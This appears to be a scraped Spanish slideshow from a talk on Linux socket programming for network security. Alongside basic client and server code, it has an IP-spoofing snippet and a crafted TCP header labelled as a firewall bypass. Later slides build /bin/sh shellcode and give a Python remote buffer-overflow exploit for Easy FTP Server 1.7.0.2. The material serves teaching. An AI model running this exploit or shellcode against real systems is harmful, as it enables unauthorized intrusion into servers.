dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.ppt
 
Hernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxHernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptx
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidad
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativa
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 

Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes

  • 1.
  • 4. Por qué saber sobre sockets ? “Para construir cualquier aplicación de red” ●WWW ●FTP ●P2P
  • 5. Pre-requisitos ●TCP / IP básico ●Programación ●Estructuras de datos ●Compilación de programas sobre Linux con gcc
  • 6. TCP/IP Dirección IP: Es un número que indentifica a cualquier equipo conectado a una red IP. Ejemplo: 192.168.1.10 Puerto: Es un número que permite que un programa en una computadora envíe o reciba data. Ejemplo: puerto 80 (web)
  • 7. TCP/IP Dirección IP con puertos Puertos conocidos: 1 – 1023 Puertos registrados: 1024 – 49151 Puertos dinámicos o privados: 49152 – 65535
  • 10. TCP/IP Cabecera + Datos Cabecera Datos
  • 11. Estructuras de datos en C struct linea{ int punto_inicial; int punto_final; int grosor_linea; char[10] color_linea; } mi_linea; … struct linea *linea1;
  • 12. Compilación de programas con gcc Programa usado: gcc # gcc HolaMundo.c -o HolaMundo
  • 13. Definición Socket Canal de comunicación entre 2 equipos distintos o el mismo equipo “Todo en Linux es un archivo”
  • 14. Tipos de Socket 1) Orientado a la conexión. ●Ejemplo: TCP socket 2) No orientado a la conexión. ●Ejemplo: UDP socket
  • 15. Big endian vs Little endian
  • 16. Orden de bytes de red ● htonl - 32 bits ● htons - 16 bits ● ntons - 32 bits ● ntohs - 16 bits
  • 17. El servidor 1. Apertura de un socket - socket() 2. Avisar al sistema operativo - bind() 3. Que el sistema comience a atender dicha conexión - listen() 4. Aceptar las conexiones - accept() 5. Escribir y recibir datos - write(), read() 6. Cierre de la comunicación - close()
  • 18. El cliente 1. Apertura de un socket - socket() 2. Solicitar la conexión - connect() 3. Escribir y recibir datos - write(), read() 4. Cierre de la comunicación - close()
  • 19. Código de Servidor 1/1 #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <time.h> #define MAXLINE 4096 #define LISTENQ 1024 Int main(int argc, char **argv) { int listenfd, connfd; struct sockaddr_in servaddr; char buff[MAXLINE]; time_t ticks; listenfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&servaddr, sizeof(servaddr));
  • 20. Código de Servidor 2/2 servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(13); /* Puerto para el servidor */ bind(listenfd, (SA *) &servaddr, sizeof(servaddr)); listen(listenfd, LISTENQ); for ( ; ; ) { connfd = accept(listenfd, (SA *) NULL, NULL); ticks = time(NULL); snprintf(buff, sizeof(buff), "%.24srn", ctime(&ticks)); write(connfd, buff, strlen(buff)); close(connfd); } }
  • 21. Código del Cliente 1/2 #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define MAXLINE 4096 Int main(int argc, char **argv) { int sockfd, n; char recvline[MAXLINE + 1]; struct sockaddr_in servaddr; if (argc != 2) err_quit("uso: ./programa <direccionIP>"); sockfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&servaddr, sizeof(servaddr));
  • 22. Código del Cliente 2/2 servaddr.sin_family = AF_INET; servaddr.sin_port = htons(13); /* Puerto del servidor daytime */ inet_pton(AF_INET, argv[1], &servaddr.sin_addr); connect(sockfd, (SA *) &servaddr, sizeof(servaddr)); while ( (n = read(sockfd, recvline, MAXLINE)) > 0) { recvline[n] = 0; /* null */ if (fputs(recvline, stdout) == EOF) err_sys("fputs error"); } if (n < 0) err_sys("read error"); exit(0); }
  • 23. Aplicaciones Sockets Motivaciones
  • 24. Aplicaciones Sockets Scanning de red con UDP sockets 1/2
  • 25. Aplicaciones Sockets Scanning de red con UDP sockets 2/2
  • 26. Aplicaciones Sockets Scanning de red con TCP sockets
  • 28. Aplicaciones Sockets Usando un iPhone? Usa la versión optimizada. Motivaciones
  • 29. Aplicaciones Sockets HTTP Server en Java if ( ExisteWeb ) { statusLine = "HTTP/1.0 200 OK" + CRLF ; contentTypeLine = "Content-type: " + contentType( fileName ) + CRLF ; contentLengthLine = "Content-Length: " + (new Integer(fis.available())).toString() + CRLF; } else { statusLine = "HTTP/1.0 404 Not Found" + CRLF ; contentTypeLine = "text/html" ; entityBody = "<HTML>" + "<HEAD><TITLE>404 Not Found</TITLE></HEAD>" + "<BODY>404 Not Found" +"<br>usage:http://yourHostName:port/" +"fileName.html</BODY></HTML>" ; }
  • 30. Aplicaciones Sockets HTTP Client en Perl #!/usr/bin/perl -w use IO::Socket; $remote = new IO::Socket::INET( Proto => "tcp", PeerAddr => "localhost", PeerPort => "http(80)", ) or die "cannot connect"; print $remote "GET /index.htm HTTP/1.0n"; print $remote "User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3nn"; print $remote "Accept: */*nn"; while ( <$remote> ) { print } $total_bytes = length($remote); print " -- Total: $total_bytes bytes"; close($remote);
  • 31. Aplicaciones Sockets Motivaciones
  • 32. Aplicaciones Sockets Spoofing una dirección IP #define IP_FUENTE "192.168.0.05" #define IP_DESTINO "192.168.0.07" ... struct iphdr *cabeceraIP; cabeceraIP->saddr = inet_addr(IP_FUENTE); cabeceraIP->daddr = inet_addr(IP_DESTINO);
  • 33. Aplicaciones Sockets Motivaciones
  • 34. Aplicaciones Sockets Bypassing un Firewall #define bytes_data 100 void CrearTcpHeader() { struct tcphdr *cabecera_tcp; cabecera_tcp = (struct tcphdr *)malloc(sizeof(struct tcphdr)); cabecera_tcp -> source = htons(80); cabecera_tcp -> dest = htons(100); cabecera_tcp -> seq = htonl(111); cabecera_tcp -> ack_seq = htonl(111); cabecera_tcp -> res1 = 0; cabecera_tcp -> doff = (sizeof(struct tcphdr))/4; cabecera_tcp -> syn = 1; cabecera_tcp -> window = htons(100); cabecera_tcp -> check = 0; cabecera_tcp -> urg_ptr = 0; return (cabecera_tcp); }
  • 37. Segunda Parte # echo _Shellcodes_
  • 38. Definición de Shellcode “Código que se ejecutará para obtener una shell”
  • 39. Construcción de shellcode global _start _start: Assembler y objdump xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender char code[] = "x31xc0xb0x46x31xdbx31xc9xcdx80xeb" starter: pop ebx "x16x5bx31xc0x88x43x07x89x5bx08x89" xor eax, eax mov [ebx+7 ], al "x43x0cxb0x0bx8dx4bx08x8dx53x0cxcd" mov [ebx+8 ], ebx "x80xe8xe5xffxffxffx2fx62x69x6ex2f" mov [ebx+12], eax mov al, 11 "x73x68x58x41x41x41x41x42x42x42x42"; lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 ender: call starter db '/bin/shNAAAABBBB'
  • 42. Aplicaciones Shellcode Buffer Overflow #!/usr/bin/python import socket, sys print """ ************************************************* * Easy FTP Server 1.7.0.2 Remote BoF * * Discovered by: Jon Butler * ************************************************* """ shellcode = ("xbax20xf0xfdx7fxc7x02x4cxaaxf8x77" "x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9" "xC7x93xC2x77" "xFFxD1xEBxF7") nopsled = "x90" * (268 - len(shellcode)) ret = "x58xFDx9Ax00" payload = nopsled + shellcode + ret # 272 bytes
  • 43. Aplicaciones Shellcode Buffer Overflow print "[+] Launching exploit against " + target + "..." s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect=s.connect((target, port)) print "[+] Connected!" except: print "[!] Connection failed!" sys.exit(0) s.recv(1024) s.send('USER anonymousrn') s.recv(1024) s.send('PASS anonymousrn') s.recv(1024) print "[+] Sending payload..." s.send('CWD ' + payload + 'rn') # Se envía el shellcode
  • 46. Referencias ●[+] http://www.it.uom.gr/project/client_server/socket/socket/java/ ●[+] http://oreilly.com/openbook/webclient/ch03.html ●[+] http://beej.us/guide/bgnet/output/print/bgnet_A4.pdf ●[+] http://hakin9.org/article-html/2400-linux-shellcode-optimisation ●[+] http://www.vividmachines.com/shellcode/shellcode.html ●[+] http://www.securitytube.net/Socket-Programming-Basics-Presentation-video.aspx